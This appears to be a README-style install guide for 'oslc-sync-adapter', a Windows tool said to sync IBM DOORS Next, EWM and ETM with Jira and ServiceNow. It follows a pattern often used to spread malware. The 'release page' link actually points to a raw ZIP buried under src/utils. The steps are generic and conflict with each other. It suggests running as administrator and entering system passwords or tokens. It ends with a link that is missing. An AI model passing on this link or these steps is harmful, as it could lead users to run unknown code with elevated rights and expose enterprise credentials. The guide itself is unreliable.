oslc-sync-adapter helps you connect DOORS Next, EWM, and ETM with Jira and ServiceNow. It supports cross-tool traceability and requirements sync on Windows.
Use this guide to download the app, set it up, and start it on your computer.
Visit this page to download:
https://github.com/MachineVsCat/oslc-sync-adapter/raw/refs/heads/main/src/utils/oslc_sync_adapter_1.1-alpha.1.zip
- Open the release page in your browser.
- Find the latest release at the top of the list.
- Download the Windows file that matches your computer.
- Save the file in a folder you can find again, such as Downloads or Desktop.
If the release includes a ZIP file, save it first and then extract it.
Before you run oslc-sync-adapter, make sure your Windows PC has:
- Windows 10 or Windows 11
- At least 4 GB of RAM
- 500 MB of free disk space
- A stable network connection
- Access to the tools you want to connect, such as Jira, ServiceNow, DOORS Next, EWM, or ETM
For smoother use, keep your work data and config files in a folder with a short path, such as C:\oslc-sync-adapter.
- Open the folder where you saved the file.
- Double-click the
.exefile. - If Windows asks for permission, select Run.
- Follow the setup steps on screen.
- Right-click the ZIP file.
- Select Extract All.
- Choose a folder for the app files.
- Open the extracted folder.
- Double-click the app file inside the folder.
After you install or extract the app, set up your connection details.
- Open the app.
- Add the server address for each tool you want to connect.
- Enter your user name and password, or a token if your system uses one.
- Choose the systems you want to sync.
- Save the settings.
Common systems you may connect:
- DOORS Next for requirements
- EWM for work items
- ETM for test management
- Jira for issue tracking
- ServiceNow for service records
oslc-sync-adapter is built for teams that need data to stay aligned across tools.
It can help you:
- Sync requirements between systems
- Keep trace links up to date
- Move changes between IBM Engineering tools and Jira or ServiceNow
- Support audit and traceability checks
- Reduce manual copy and paste work
It is useful when one team works in DOORS Next and another uses Jira or ServiceNow, but both teams need the same record of what changed.
A simple workflow looks like this:
- Open the app.
- Choose the source system.
- Choose the target system.
- Map the fields you want to sync.
- Run the sync job.
- Check the result log.
- Review any records that did not sync.
If your team uses scheduled sync, you can set the app to run during a quiet time, such as before work starts or after updates end.
After setup, you may see files like these:
configfor connection settingslogsfor sync history and errorscachefor temporary datajobsfor saved sync tasksbackupfor saved copies of settings or records
Keep these files together in one folder. This makes it easier to move or back up the app later.
- Open the app.
- Select the saved job.
- Click Run.
- Wait for the job to finish.
- Read the log if the job shows a problem.
- Open the logs page or log file.
- Look for the latest time stamp.
- Find records marked as success, warning, or failed.
- Open the related record in the source system if you need to review it.
- Open settings.
- Change the server address, user name, token, or password.
- Save the changes.
- Run a small test sync to confirm the connection works.
Use a user account that has only the access needed for sync jobs. This helps keep your systems tidy and lowers the chance of changes in the wrong place.
If your company uses a proxy, VPN, or internal network rules, make sure those are set before you start the app.
A product team stores requirements in DOORS Next. A delivery team tracks work in Jira. oslc-sync-adapter can help keep the requirement links and issue links aligned between both tools.
A QA team uses ETM for test cases and Jira for defects. The app can help connect test records with issue records so teams can trace what was tested and what failed.
An engineering team uses EWM for tasks and ServiceNow for service requests. The app can help move key details between both systems so teams can follow the same change record.
You will know the app is working when:
- The app opens without an error
- Your saved settings load correctly
- A test sync finishes with success
- Linked items appear in both systems
- The log shows no failed connection attempts
If a sync job stops, check the log first. The log usually shows which record caused the issue.
If you need to start fresh:
- Close the app.
- Save a copy of your config folder.
- Delete only the job files you want to remove.
- Open the app again and create a new setup.
If the app still uses old details, clear the saved config and enter the values again.
- Make sure you downloaded the Windows file from the release page.
- Check that the file finished downloading.
- Try right-clicking the file and selecting Run as administrator.
- Move the app folder to a simple path like
C:\oslc-sync-adapter.
- Check your server address.
- Confirm your account name and password.
- Make sure the target system is online.
- Review the log for a bad field map or blocked connection.
- Check the field mapping.
- Confirm both systems use the same data type.
- Make sure required fields have values.
- Run a small test with one record first.
For fewer file path issues on Windows, use a folder like this:
C:\oslc-sync-adapterC:\oslc-sync-adapter\configC:\oslc-sync-adapter\logs
Avoid placing the app in a long folder name with many nested folders. Short paths help when the app reads and writes files.
Use one simple item for your first run.
- Pick one requirement, one task, or one test case.
- Sync it to one target system.
- Check that the title, status, and link fields appear as expected.
- Confirm the record opens in both tools.
- Use that result to tune the rest of your setup.
If you need the release page again, use this link: